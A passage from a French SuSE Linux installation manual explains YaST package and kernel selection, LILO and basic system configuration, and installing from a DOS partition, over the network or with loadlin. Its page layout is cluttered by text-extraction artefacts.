votre sélection de paquetages. Vous arrivez ainsi à la sélection des séries de SuSE Linux. En règle générale, vous n'avez pas besoin de cette option car la sélection de paquetages qui vous est proposée vous permettra de disposer d'un système fonctionnel. Vous pourrez toujours plus tard ~ lorsque Linux tournera ~ modifier et compléter à tout moment votre sélection. Vous trouverez une description de ces menus ainsi que de la fonction des différentes options au chapitre YaST , paragraphe 3.4 page 94. 2.2.7 Sélectionnez votre équipement logiciel de base Vous arriverez dans ce masque de YaST (figure 2.9 page suivante en sélec- tionnant l'option `Charger la configuration' au paragraphe 2.2.6 page précédente. Nous avons mis à votre disposition__quelques ``configurations'' prédéfinies. Avec les touches fléchées_|"__|et_|#_ |, vous pouvez accéder aux différentes op- tions. Avec la touche |_________E|space, vous pouvez sélectionner ou désélectionner une option. Une croix (`X') dans la case correspondante signifie que vous avez sélectionné cette configuration en remplacement ou en supplément. Une astérisque (`*') placée derrière indique que cette configuration va être installée. Ce caractère est à interpréter dans ce sens que le choix de l'option `SuSE simplement tout' provoque la sélection automatique de configura- tions supplémentaires car les configurations spéciales représentent des sous- ensembles de `SuSE simplement tout'. `Ajouter' Avec cette option du menu, vous pouvez ajouter aux paquetages et configurations sélectionnés les paquetages de la configuration que vous avez choisie. 36 ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________* *______________________ Fig. 2.9: YaST ~ Sélectionner les configurations `Remplacer' Vous pouvez ici remplacer une sélection déjà faite par une nouvelle configuration. Il vous sera demandé le cas échéant si vous sou- haitez effacer les paquetages ne faisant pas partie de la configuration. `Annuler' Vous abandonnez la procédure. 2.2.8 Installation de logiciels système et de programmes Après tous ces travaux préliminaires, vous pouvez enfin commencer à remplir votre disque dur avec les logiciels qui vous conviennent. ~ Mettez en marche le processus d'installation des logiciels avec `Démar- rer l'installation'. YaST vous montre à l'écran quel paquetage est en cours d'installation et combien de paquetages doivent encore suivre. ~ Les autres CD seront ensuite demandés, en fonction de la configuration. ~ Lorsque les paquetages auront été installés, retournez au menu principal en sélectionnant `Menu principal'. Problèmes éventuels ~ Si votre machine ne dispose que de ``peu'' de mémoire RAM (16 Mo), vous ne pouvez, dans un premier temps, installer qu'à partir du premier CD-ROM. Dans ce cas, les autres CD ne seront demandés que plus tard (paragraphe 2.2.10 page 42). ~ Lorsque des problèmes surviennent lors de l'installation des logiciels, ils sont généralement dûs à un matériel défectueux ou mal configuré. Si vous avez un système SCSI, vérifiez la longueur et la terminaison des câbles. Déconnectez du bus les périphériques externes, principalement les scanners. Essayez aussi d'utiliser des paramètres du noyau, les plus importants sont évoqués au paragraphe 14.3.1 page 369. Pour ATAPI, reportez-vous au paragraphe 2.7.5 page 60. * * 37 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Fig. 2.10: YaST ~ Sélection du noyau 2.2.9 Sélectionner le noyau pour le système Le système logiciel de base a été transféré sur le disque dur. Un + noyau approprié pour le système va maintenant être installé et, si vous le désirez, le gestionnaire d'amorçage LILO sera installé sur le disque dur (voir figure 2.10) ; par exemple : Noyau ~ Le `noyau standard' est approprié pour la plupart des systèmes. ~ Le `noyau avec support SMP' doit être sélectionné pour les systèmes multiprocesseurs. ~ Le `noyau avec support APM' inclut un support pour ``Advanced Po- wer Management''. ________________________________________________________________________________________________________* *________|| | Si votre processeur n'est pas à 100% compatible Pentium, sélectionnez * * |||| | `Noyau pour machines avec processeurs 386 ou 486'. Vous de- * * ||| | * * ||| | vez choisir ce noyau par exemple pour un Cyrix 686. Si vous faites un mau- * * ||| | vais choix, vous risquez de voir apparaître le message "Kernel panic". * * ||| | * * ||| | Voir http://sdb.suse.de/sdb/de/html/cyrix686.html. * * ||| |_______________________________________________________________________________________________________* *________|||_ YaST copiera alors ce noyau vers /boot/vmlinuz et placera le fichier de configuration du noyau sous /boot et, si vous le souhaitez, également sous /usr/src/linux/.config. Ce fichier donne une description précise du noyau installé et des modules correspondants. LILO Lorsqu'il vous sera demandé si vous voulez configurer LILO , répondez `Oui' si vous êtes sûr que les systèmes qui sont éventuellement déjà installés sur votre disque pourront être amorcés par LILO (voir figure 3.21 page 105). C'est généralement le cas pour DOS et Windows 95/98 ~ avec Windows NT les choses sont quelque peu différentes (voir paragraphe 4.7.2 page 135). 38 ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________* *______________________ Vous trouverez au chapitre YaST , paragraphe 3.6.2 page 104 des nformations sur la manière de remplir les différents masques. 2.2.10 Configuration de base du système avec YaST Après la sélection du noyau, nous passons maintenant à la configuration de base. Les premiers composants logiciels et matériels sont configurés. Fig. 2.11: YaST ~ Choix de la zone horaire ~ Vous pouvez maintenant choisir votre zone horaire (figure 2.11). Vous zone horaire voyez apparaître une très longue liste dans laquelle vous sélectionnerez `CET' (angl. Central European Time) si vous vous trouvez avec votre machine dans la zone horaire de l'Europe centrale : : : Fig. 2.12: YaST ~ Nom de machine et de domaine * * 39 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ L'horloge peut être réglée sur Greenwich Mean Time (GMT) ou sur l'heure locale. `GMT' est prévu par défaut. Sélectionnez `heure loca- le' si votre horloge est réglée de cette manière. Configuration réseau ~ Quelques masques pour la configuration réseau apparaissent maintenant : ~ Nom de machine et de domaine (figure 2.12 page précédente). Imagi- nez ici quelque chose de plaisant si votre + administrateur système ou votre + FAI ne vous a rien proposé. Si vous avez l'intention de vous connecter à Internet ou d'utiliser un réseau local, veillez à ce que ce nom soit valide. Un nom autorisé est par exemple terre.cosmos.univers. Ici, terre est toujours le nom d'hôte de la machine (angl. hostname) et cosmos.univers le nom du domaine (angl. domainname). ~ loopback ou véritable réseau ? Si votre machine ne dispose pas de carte réseau, vous pouvez valider loopback et il ne vous sera pas nécessaire d'effectuer une configuration plus poussée. ~ Si vous choisissez un véritable réseau, il vous sera posé d'autres questions : client DHCP, type du réseau (pour les cartes ethernet, choi- sissez eth0 ), adresse IP, masque réseau, passerelle, inetd , portmap , serveur NFS, ligne From pour les messages Usenet, client réseau avec accès à un serveur de noms (IP du serveur de noms, domaine YP), sélection du module du noyau pour la carte réseau). Fig. 2.13: YaST ~ Choix du système de messagerie ~ Choix du fichier sendmail.cf pour le système de messagerie (fi- gure 2.13) ; voir aussi paragraphe 6.8 page 205. Les informations rassemblées jusque là sont maintenant enregistrées et répar- ties par SuSEconfig entre les différents fichiers de configurations. YaST se termine et de nombreux messages concernant l'état du système se succèdent sur l'écran : : : 40 ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_________________* *____________________ ~ Après quelques messages du système et le message de "bienvenue", Mot de passe votre entière attention sera requise : Il reste encore à régler l'importante root question du mot de passe `root'. Vous aurez toujours besoin de ce mot de passe pour vous connecter en tant qu'+ administrateur système. Choi- sissez votre mot de passe avec le plus grand soin, retenez-le bien et tenez compte de la casse des lettres. Dans la mesure du possible, n'utilisez ni espaces ni caractères spéciaux (à moins que vous ne sachiez exactement ce que vous faites). Notez qu'il n'est tenu compte que de 8 caractères dans la configuration par défaut. ~ YaST vous suggérera de créer un login utilisateur pour votre travail quoti- Login dien car normalement vous ne devriez pas vous connecter sous le compte `root' mais sous votre login utilisateur. Choisissez un joli petit nom (sans espaces et ne comportant pas, si possible, plus de 8 caractères), par exemple vos initiales ou tux. Si vous entrez un mot de passe, il est abso- lument essentiel aussi que vous le reteniez ! Fig. 2.14: YaST ~ Choix de l'interface pour le modem et la souris ~ YaST vous demande si vous voulez configurer votre modem. Si vous Modem possédez un modem, vous pouvez le faire intégrer dès maintenant mais il est aussi possible de remettre cette opération à plus tard et d'installer votre modem à n'importe quel moment. Si vous répondez `Oui', YaST vous demandera quel est le port série de votre modem (figure 2.14). Notez que les ``Winmodems'' ne fonctionnent pas (voir http://sdb.suse.de/ sdb/en/html/cep_winmodem.html). ~ YaST vous demande si vous voulez configurer votre souris. Si vous vou- Souris lez le faire, répondez `Oui' et sélectionnez le type de votre souris dans la liste (comme dans la figure 2.15 page suivante). S'il s'agit d'une souris série, YaST voudra encore savoir à quelle interface série elle est connec- tée (figure 2.14). Sélectionnez également celle-ci dans la liste (figure 2.15 page suivante). * * 41 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Fig. 2.15: YaST ~ Choix du pilote souris Fig. 2.16: YaST ~ Lancement de gpm ~ Confirmez ensuite que le programme gpm devra être exécuté lors du démarrage du système (figure 2.16). Autres CD Si d'autres paquetages doivent encore être installés à partir des CD-ROM restants (voir paragraphe 2.2.8 page 37), YaST démarrera maintenant cette procédure : : : ~ YaST vous demande d'insérer les CD-ROM suivants1 afin qu'il soit pos- sible d'installer tous les logiciels restants. Le dernier CD ne sera requis que si vous avez explicitement sélectionné les sources pour l'installation ~ mais normalement ce ne sera pas le cas ! _____________________________________________1 Si vous avez un SuSE Linux avec DVD, vous n'avez pas à vous tracasser à ce sujet : la totalité des logiciels tient sur un seul support. 42 ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________* *______________________ ~ Ensuite vous quitterez YaST et il vous sera demandé d'appuyer sur |______|- Votre système SuSE Linux est entièrement installé. 2.2.11 Se connecter après la première installation Quelques scripts de configuration automatique sont exécutés en arrière-plan `root' et vous pouvez vous connecter en avant-plan, par exemple sur la première console Entrez, à l'invite "Login :" d'abord root et à l'invite "Pass- Login : word :" le mot de passe que vous avez préalablement déterminé pour l'uti- Password : lisateur`root' (voir paragraphe 2.2.10 page 41) ~ à ne pas confondre avec le mot de passe pour l'``utilisateur exemple''. Pour la procédure de login, voir paragraphe 19.1 page 482. Vous voyez maintenant l'+ invite (angl. prompt) de Linux et pouvez com- Invite mencer à travailler. Voici à quoi ressemble le message d'invite : terre: # Lancez par exemple la commande ls -a pour lister les fichiers dans votre répertoire de travail. terre: # ls -a Ou lancez YaST (yast ) afin d'apporter des modifications au système : terre: # yast Si vous lancez YaST (yast ), vous pouvez ajouter de nouveaux utilisateurs avec l'option du menu `Administration du système'. Vous continue- rez avec la sous-option `Configurer XFree86' pour configurer l'interface graphique (voir paragraphe 8.1 page 240). _______________________________________________________________________________________________________________________||||| |||||||| Des scripts de configuration automatique vont tourner en tâche de fond ||| | |||||||| || | |||||||| (indexation des pages de man, configuration de Perl, etc.). Sur des ma- || | |||||||| chines de moindre performance, cette procédure peut souvent prendre plus || | |||||||| || | |||||||| d'une heure ; ceci dépend de la taille de l'installation. Si vous arrêtez votre || | |||||||| machine prématurément, YaST redémarrera automatiquement lors du pro- || | |||||||| || | |||||||| chain amorçage ! || | |||||||| L'exécution de ces scripts n'est complètement terminée que lorsque vous || | |||||||| ____ ___ || | |||||||| voyez sur la + console 9 (basculez avec |A____l|t+ |F___|9) : || | |||||||| || | |||||||| "Have a lot of fun !" || | ||||||||_______________________________________________________________________________________________________________||_ Après l'installation du système, vous pourrez effectuer de nouvelles configu- rations. Voir au paragraphe 2.1.17 page 27 les références à l'impression, à Internet et à l'intégration du matériel . _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| Un ordinateur sous Linux ne doit jamais être éteint brutalement. Utilisez || | |||||||| soit la fonctionnalité prévue dans KDM , soit les commandes présentées au || | |||||||| || | |||||||| paragraphe 19.2 page 483 pour arrêter votre machine (angl. shutdown). Si || | |||||||| votre machine n'est pas arrêtée de cette manière, il vous sera nécessaire, || | |||||||| || | |||||||| lors du prochain amorçage, de vérifier les systèmes de fichiers ~ ceci prend || | |||||||| du temps et il peut arriver, dans quelques rares cas, que la vérification ne || | |||||||| || | |||||||| permette pas de restaurer tous les fichiers éventuellement détériorés. || | ||||||||_______________________________________________________________________________________________________________||_ * * 43 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.3 Comment démarrer SuSE Linux à l'avenir ? Le système Linux est pour ainsi dire complètement installé. Il reste en- core à préciser comment vous voulez lancer Linux pour l'usage quotidien (+ Amorçage). L'aperçu qui va suivre vous fera connaître les principales méthodes de démar- rage de Linux. Le choix que vous ferez dépendra de votre degré d'expérience avec les ordinateurs ainsi que de l'usage auquel vous destinez votre système Linux. Disquette d'amorçage : Démarrage de Linux au moyen d'une disquette d'amorçage. Cette méthode est toujours efficace et n'occasionne pas de travail car il est probable que la disquette d'amorçage ait déjà été générée accessoirement (au paragraphe 2.2.10 page 39). La disquette d'amorçage est une bonne solution provisoire si vous ne parvenez pas tout de suite à vous familiariser avec les autres méthodes ou si vous jugez préférable de remettre à plus tard le choix d'un mécanisme d'amorçage définitif. La disquette d'amorçage peut aussi être une bonne solution en relation avec OS/2 ou Windows NT. loadlin : La variante loadlin peut être utilisée dans les conditions suivantes : ~ Votre machine doit tourner sous DOS soit en mode réel, soit en mode virtuel 8086 avec dans ce cas un serveur VCPI disponible. Un ser- veur VCPI est mis à disposition par emm386.exe , par exemple. En d'autres termes, cette méthode ne fonctionne ni sous Unix, ni sous OS/2 ni dans la fenêtre DOS de Windows 95/98. Elle fonctionne par contre très bien à partir de l'invite de MS-DOS ou à partir du mode DOS sous Windows 95/98. ~ Votre machine doit avoir suffisamment de mémoire DOS disponible : au dessous de 640 Ko, au moins 128 Ko. Le reste peut être de la mémoire étendue /EMS/XMS. loadlin demande certes un peu de travail pour son installation, mais en revanche il se laisse très facilement intégrer dans les menus de démarrage de Windows 95/98. Pour cela, il est nécessaire d'éditer manuellement des fichiers de configuration. Mais aucune entrée n'est faite dans le + MBR (angl. Master Boot Record) du disque dur. Ceci constitue un gros avan- tage car les autres systèmes d'exploitation ne voient de Linux que des partitions avec des identificateurs (angl. ID) qui leur sont inconnus. L'installation de loadlin requiert certaines connaissances concernant DOS et Linux. Vous devriez être en mesure de créer les fichiers de configura- tion nécessaires avec un + éditeur. Vous trouverez des détails sur cette procédure au paragraphe 4.9 page 143. Vous pouvez cependant rencon- trer des difficultés si vous faites une erreur lors de la configuration des menus d'amorçage de Windows95/98. Il est même possible, dans un cas extrême, que vous ne puissiez plus accéder à votre installation Windows. Vous devriez donc, avant de configurer ces menus d'amorçage, faire en sorte qu'il vous soit possible de démarrer votre système à l'aide d'une disquette d'amorçage Windows. 44 ________________________________________________________2.3.__Comment_démarrer_SuSE______Linux_à_l'avenir_?_________________* *______________________ LILO : La solution la plus universelle et la plus correcte sur le plan tech- nique est représentée par le gestionnaire d'amorçage LILO qui vous laisse le choix, avant l'amorçage, entre différents systèmes d'exploita- tion. Vous pouvez installer LILO à l'aide de YaST (voir paragraphe 3.6.2 page 104). Toutefois, LILO doit se trouver sur le secteur maître d'amor- çage (MBR) du disque dur, ce qui comporte un petit risque au moment de l'installation. La correction d'erreurs requiert des connaissances fon- damentales du processus d'amorçage. Vous devriez être en mesure, le cas échéant, d'éditer le fichier de configuration principal de LILO . Vous de- vriez aussi, avant d'installer LILO , penser à son éventuelle désinstalla- tion pour le cas où vous devriez rencontrer des difficultés. Vous trouverez des informations plus détaillées sur LILO et sur le processus d'amor- çage au paragraphe 4.3 page 120. Mais LILO n'en demeure pas moins la meilleure méthode d'amorçage. Vous devez seulement avoir conscience qu'il est plus compliqué à utiliser qu'une disquette d'amorçage. _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| Il existe des variantes de BIOS qui vérifient la structure du secteur maître || | |||||||| d'amorçage (MBR) et qui après une installation de LILO émettent à tort un || | |||||||| || | |||||||| avertissement annonçant la présence d'un virus. Il est facile de remédier à || | |||||||| ce problème en recherchant dans le BIOS les paramètres correspondants et || | |||||||| || | |||||||| en désactivant par exemple la `protection contre les virus'. Vous || | |||||||| pouvez réactiver plus tard cette option. Ceci est cependant superflu si vous || | |||||||| || | |||||||| utilisez Linux comme seul système d'exploitation. || | ||||||||_______________________________________________________________________________________________________________||_ Vous trouverez de plus amples informations sur les différentes méthodes d'amorçage, particulièrement sur LILO et loadlin , au chapitre 4 page 117 et pages suivantes. Autres gestionnaires d'amorçage Certains fabricants de gestionnaires de fenêtres se sont orientés vers Linux en raison de son importance croissante. Aux premières places, nous trou- vons System Commander Deluxe et Partition Magic . En plus d'une aide lors de l'amorçage du système, ces logiciels offrent aussi un grand nombre d'autres possibilités. Vous pouvez, par exemple, modifier la taille de parti- tions FAT32 déjà existantes ou transformer une partition FAT16 en FAT32. Ces programmes ne sont pas inclus sur les CD et ne sont pas couverts par l'Assistance Technique à l'Installation ! * * 45 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.4 Installation sans lecteur de CD-ROM supporté Que faire s'il n'est pas possible de procéder à une installation standard au moyen d'un lecteur de CD-ROM ? Votre lecteur de CD-ROM n'a pas pu être supporté parce qu'il s'agit d'un vieux lecteur ``propriétaire''. Ou votre ordinateur secondaire (par exemple un notebook) ne possède éventuellement pas de lecteur de CD-ROM mais il est doté en revanche d'un adaptateur Ethernet ou d'un câble PLIP : : : SuSE Linux vous propose des solutions pour vous permettre d'installer un système sur de telles machines sans lecteur de CD-ROM supporté : ~ À partir d'une partition DOS (paragraphe 2.4.1). ~ À travers une connexion réseau : NFS ou FTP via Ethernet ou PLIP (paragraphe 2.4.2 page 48). 2.4.1 Installation à partir d'une partition DOS De quoi est-il question ? Avant l'installation, copiez (partiellement) les logiciels Linux sur une parti- tion DOS de votre disque dur si le noyau standard du CD ne supporte pas votre lecteur de CD-ROM ou si Linux ne supporte pas du tout le lecteur. Il ne vous sera alors pas possible d'utiliser sous Linux le lecteur de CD-ROM soit provisoirement, soit en règle générale. Conditions Vous travaillez sous DOS, Windows ou OS/2 et vous savez que Linux ne supporte pas votre lecteur de CD-ROM. Vous avez suffisamment de place sur la partition DOS, OS/2 ou Windows (3.11 ou 95/98) et votre machine dispose d'une quantité suffisante de + mémoire. Dans un premier temps, vous copierez uniquement les paquetages pour le système de base. Pas à pas : : : Procédez de cette manière pour copier sur votre disque dur les fichiers que vous désirez (si vous ne voulez pas exécuter les phases suivantes une par une, le fichier batch lhdsetup.bat du répertoire \dosutils\misc peut éventuellement vous être utile) : 1. Créez d'abord le répertoire dans lequel vous voulez faire des copies. Vous pouvez lui donner n'importe quel nom. Ici, dans notre exemple, il s'ap- pelle \emil . 2. Au dessous de \emil , il vous faut encore le répertoire suse et au mini- mum les répertoires a1 , images et setup . Ces derniers sont déjà néces- saires pour l'installation du système de base Linux. Créez donc ces réper- toires. Dans la figure 2.17 page ci-contre, vous avez une vue d'ensemble de l'arborescence des répertoires requise. 46 ____________________________________________________2.4.__Installation_sans_lecteur_de_CD-ROM_supporté_______________________* *_____________________ |||||||| | _______________________________________________________________________________________________________________________|||| |||||||| | ||||||||| || |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fig. 2.17: Structure des répertoires d'installation 3. Copiez les fichiers de \suse\a1 du CD 1 vers \emil\suse\a1 sur votre disque dur. Si vous disposez de beaucoup de place sur la partition DOS, copiez l'arborescence complète \suse du CD vers \emil\suse . 4. Sélectionnez, dans \suse\images , un noyau qui supporte votre maté- riel. Dans le fichier \suse\images\readme.dos , il est indiqué ce que supporte chaque noyau. Copiez ensuite le noyau vers \emil\suse\images . Un noyau est consti- tué de quatres fichiers (voir plus haut) : le noyau sans extension des noms de fichiers et les fichiers avec les extensions .ikr , .inf et .map. Si vous disposez de beaucoup d'espace sur votre disque dur, vous pouvez aussi copier tous les fichiers. Vous remettrez la sélection du noyau à plus tard, partie remise n'est pas perdue ! 5. Pour plus de sécurité, copiez les fichiers \suse\images\root et \suse\images\initdisk.gz vers \emil\suse\images . 6. Copiez \suse\setup\loadlin.exe vers \emil\suse\setup . 7. Vous devrez encore décompresser le fichier \suse\setup\root et le transférer vers \emil\suse\setup . Utilisez pour cela la version DOS du programme gzip dans le répertoire \dosutils du CD : C:> cd \emil\suse C:> gzip -dc < images\root > setup\inst-img Ce fichier est relativement grand mais il n'est nécessaire que pour l'instal- lation de base. Lorsque vous aurez un système de base opérationnel, vous pourrez à tout moment installer des paquetages supplémentaires à partir de la partition DOS. Vous n'aurez alors plus besoin du fichier inst-img . 8. Créez le répertoire \emil\suse\setup\descr sur votre disque dur et copiez vers celui-ci tous les fichiers de \suse\setup\descr . * * 47 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 9. Si vous avez suffisamment de place sur votre disque dur, vous pouvez encore créer le fichier \emil\suse\setup\du et copier vers celui-ci tous les fichiers de \suse\setup\du . Ces fichiers ne sont pas absolument indispensables mais ils vous permettront de faire plus tard des calculs concernant les tailles des logiciels installés ou devant être installés par YaST . C'est quelque chose de bien utile si vous avez la place nécessaire. 10. Vous avez maintenant ce qui est absolument indispensable pour un système Linux de base sur la partition DOS de votre disque. Mais il manque encore tous les autres logiciels. Comme vous faites partie des malchanceux dont le lecteur de CD-ROM n'est pas supporté, il vous faudra d'abord tout enfourner par petites portions sur votre disque dur, de là installer avec YaST pour ensuite effacer ce que vous avez mis sur le disque dur. Vous n'êtes pas obligé de le faire immédiatement, mais si vous savez déjà ce que vous voulez, alors n'hésitez pas : créez le ré- pertoire sous \emil\suse et copiez dans celui-ci les fichiers concernés. Vous trouverez ce que vous pouvez installer en lisant les descriptions des paquetages ou la documentation en ligne du CD. Maintenant, l'installation peut commencer selon la description faite au para- graphe 2.2.2 page 28. Lorsque linuxrc vous interrogera au sujet du support source , spécifiez `Disque dur' et en réponse à la question concernant la partition du disque dur, spécifiez le + périphérique de votre partition DOS. En règle générale, ce sera /dev/hda1 ou /dev/sda1 si DOS est installé sur la première partition primaire. Si vous avez adopté les noms cités plus haut, vous devrez spécifier /emil comme répertoire source ~ ce sera la prochaine question. Ensuite l'ins- tallation se poursuivra comme il est décrit au paragraphe 2.2.4 page 33 et pages suivantes. À la question qui vous sera posée après le partitionnement, vous ne devrez en aucun cas répondre `tout le disque' ~ ceci rendrait toutes vos préparations absolument inutiles. 2.4.2 Installation à partir d'une source ``réseau'' Pour régler cette question, il ne vous est pas possible de bénéficier des services de l'Assistance Technique à l'Installation (voir paragraphe H.1.2 page 558). Cette méthode d'installation ne devrait être envisagée que par des utilisateurs expérimentés. De quoi est-il question ? La machine sur laquelle SuSE Linux doit être installé ne dispose pas de lecteur de CD-ROM et il n'existe pas non plus de partition DOS utilisable. En revanche, vous pouvez établir par le réseau une connexion avec une autre machine dotée d'un lecteur de CD-ROM ou d'un disque sur lequel le contenu du CD ~ comme il a été décrit au paragraphe 2.4.1 page 46 ~ pourrait être transféré. Il est en outre indispensable de copier les fichiers .S.u.S.E-disk* des CD-ROM sur le disque dur. Sous Linux, par exemple ainsi : terre: # cp /cdrom/.S* /emil terre: # cp -a /cdrom/suse /emil 48 ____________________________________________________2.4.__Installation_sans_lecteur_de_CD-ROM_supporté______________________* *______________________ Cette ``autre'' machine doit bien sûr ``exporter'' le répertoire d'une manière adéquate ! Pas à pas : : : 1. Commencez l'installation du client selon la description du para- graphe 2.2.2 page 28 2. Poursuivez l'installation comme il est décrit au paragraphe 2.2.3 page 29 ~ toutefois : ~ Chargez les `Pilotes réseau' avec `Modules du noyau' et choi- sissez celui qui convient. Ceci n'est pas indispensable si vous voulez installer via PLIP. ~ Lorsque linuxrc vous interrogera au sujet du `Support source', spécifiez `Réseau (NFS)' et exécutez la configuration réseau pilotée par menu. Alternativement, vous avez aussi la possibilité d'installer via FTP. 3. Terminez l'installation comme il a été décrit à partir du paragraphe 2.2.4 page 33 Problèmes éventuels ~ L'installation a échoué avant d'avoir véritablement commencé : Le réper- toire d'installation de ``l'autre'' machine n'a pas été exporté avec les droits exec ~ faites-le maintenant. ~ Le serveur ne connaît pas la machine sur laquelle SuSE Linux doit être installé. Inscrivez, dans le /etc/hosts du serveur, le nom et l'adresse IP de la machine sur laquelle doit se faire la nouvelle installation. * * 49 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.5 Encore une méthode d'installation : Setup et loadlin 2.5.1 Mettre Windows 95/98 en mode DOS Vous devez mettre la machine sous DOS en mode réel pour pouvoir lancer le programme d'installation Setup . Le programme loadlin , invoqué par le programme d'installation Setup.exe , est un programme MS-DOS. Il ne peut charger en mémoire et démarrer le noyau Linux pour le + Linux initial que si le processeur fonctionne soit en mode réel, soit en mode virtuel 8086 avec dans ce cas un serveur VCPI2 actif. La fenêtre DOS de Windows 95/98 est bien en mode virtuel 8086, mais elle ne met pas de serveur VCPI à disposition et de ce fait Setup ne fonctionne pas dans la fenêtre DOS. Pas à pas : : : Il existe deux possibilités : Passer de Windows 95/98 en mode DOS ou se diriger vers l'invite d'entrée lors de l'amorçage. Si Windows 95/98 tourne déjà, cliquez sur `Démarrer' - `Arrêter : : : ' - `Redémarrer l'ordinateur en mode MS-DOS'. Puisque vous êtes de ___ toute façon en train d'amorcer, appuyez au démarrage de Windows 95 sur |___F|8 et sélectionnez alors `Seulement invite d'entrée'. Problèmes éventuels Il peut survenir des problèmes si vous n'avez pas de clavier français en mode MS-DOS et si le pilote de CD-ROM n'est pas chargé. ~ En mode DOS, les accents et les caractères spéciaux ne fonctionnent pas (voir paragraphe 2.7.2 page 60) ~ En mode DOS, vous ne pouvez pas accéder au lecteur de CD-ROM, voir paragraphe 2.7.3 page 60 2.5.2 Lancement de Setup et première partie de Setup Le programme Setup.exe prépare le démarrage du + Linux initial. C'est ce programme qui est maintenant lancé et sera exécuté jusqu'au moment où il faudra choisir entre deux méthodes de démarrage pour le Linux initial. Vous avez démarré MS-DOS ou une boîte MS-DOS qui ne tourne pas en mode protégé. Vous avez inséré le premier CD dans le lecteur de CD-ROM et vous y avez accès. À l'aide du programme Setup.exe , vous lancerez d'abord dans votre machine un Linux initial qui rendra possible l'installation proprement dite de Linux. Lancez maintenant Setup.exe et exécutez le programme jusqu'au moment où les deux méthodes de démarrage pour le Linux initial se distingueront l'une de l'autre : disquette d'amorçage ou, avec loadlin , démarrage direct à partir du CD/disque dur. _____________________________________________2 emm386.exe, par exemple, met à disposition un serveur VCPI. 50 ____________________________________________2.5.__Encore_une_méthode_d'installation_:_Setup_et_loadlin______________________* *______________________ Pas à pas : : : Vous exécutez ainsi la première partie de Setup : 1. Démarrez setup dans le répertoire de base du CD. 2. Sélectionnez la langue (`Français') dans laquelle les dialogues de Se- tup doivent se dérouler. 3. Entrez la lettre de votre lecteur de CD-ROM, par exemple E . La lettre du lecteur a éventuellement pu être modifiée à cause d'une partition DOS supplémentaire. 4. Setup.exe vous souhaite maintenant_la_bienvenue et vous répondez à une telle cordialité en appuyant sur |_____-|. 5. Les paragraphes suivants sont consacrés au lancement du + Linux initial. Ce sujet est traité dans une décision (paragraphe 2.5.3) et des phases de travail le concernant. 2.5.3 Comment amorcer le Linux initial à partir de setup ? Il existe deux méthodes qui permettent de lancer le + Linux initial à partir du programme setup : au moyen de disquettes ou directement à partir du CD à l'aide de loadlin . Il s'agit maintenant de choisir l'une de ces deux voies. Informations complémentaires La méthode la plus simple et la plus commode consiste bien sûr à lancer le Linux initial directement à partir du CD. On utilise à cette fin le programme DOS loadlin.exe . Il charge sous DOS, à partir du CD, un fichier du noyau dans la mémoire centrale, il prépare le chargement du disque RAM et com- mence ensuite à exécuter le code du noyau. Afin que cela puisse marcher, la machine doit tourner en mode réel ou en mode virtuel 8086 avec dans ce cas un serveur VCPI3 actif. La boîte DOS de OS/2 ou de Windows NT est donc éliminée. L'amorçage à partir de disquettes fonctionne toujours mais il est un peu plus fastidieux et prend plus de temps. Il est à noter qu'il s'agit des disquettes créées avec setup . La solution la plus simple est naturellement l'utilisation de la disquette d'amorçage SuSE (ou l'amorçage directement à partir du CD) mais ce n'est pas de cela qu'il est question. Il s'agit ici de prendre la décision suivante : générer des disquettes avec setup ou charger directement le noyau au moyen de loadlin . Recommandation Choisissez la voie loadlin lorsque c'est théoriquement possible, c'est-à-dire si vous ne travaillez pas sous OS/2 ou sous Windows NT. En cas de doute, faites un essai. Si cela ne marche pas, recommencez la procédure à partir du paragraphe 2.5.2 page précédente et choisissez alors la voie disquettes. 3 ____________________________________________________ emm386.exe met à disposition un serveur VCPI. * * 51 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.5.4 Installer loadlin et lancer le Linux initial Dans cette phase de travail, vous utiliserez loadlin.exe avec lequel vous pour- rez charger et démarrer un noyau Linux à partir de DOS et faire tourner votre + Linux initial. Conditions Si vous êtes arrivé jusqu'ici et si vous vous sentez prêt à recevoir la première invite de Linux, vous avez rempli toutes les conditions ! Informations complémentaires Setup crée alors le répertoire \loadlin sur votre partition DOS. Il co- pie dans ce répertoire les programmes setup.exe , loadlin.exe , les fi- chiers Linux.bat ainsi que le noyau sélectionné sous le nom de zimage . Si vous voulez démarrer ultérieurement Linux (après l'installation), invo- quez Linux.bat (vous devrez toutefois spécifier comme paramètre la parti- tion racine (root). Nous reviendrons encore sur ce point au paragraphe 2.10.2 page 77). À la fin de cette phase, le noyau sera chargé et directement démarré. Pas à pas : : : Voici comment vous devez procéder pour installer loadlin et lancer ainsi le + Linux initial. 1. Sélectionnez l'option `loadlin' et appuyez sur |______|-. 2. Cet écran vous montre combien de RAM possède votre machine. Cette_ indication sera normalement correcte et vous validerez avec |_____-|. Au cas où la quantité de RAM ne serait pas exacte, corrigez la valeur. 3. Vous devez maintenant préciser si Linux supporte votre lecteur de CD- ROM. ~ Si Linux supporte votre lecteur de CD-ROM, appuyez sur |______|-et la question est réglée. ~ Si Linux ne supporte pas votre lecteur de CD-ROM, il vous a déjà fallu, au paragraphe 2.4.1 page 46, copier des fichiers sur votre_disque_ dur. Passez maintenant à l'option `Disque dur' et appuyez sur |_____-|. Spécifiez ensuite le chemin dans lequel vous avez copié le répertoire suse. Dans 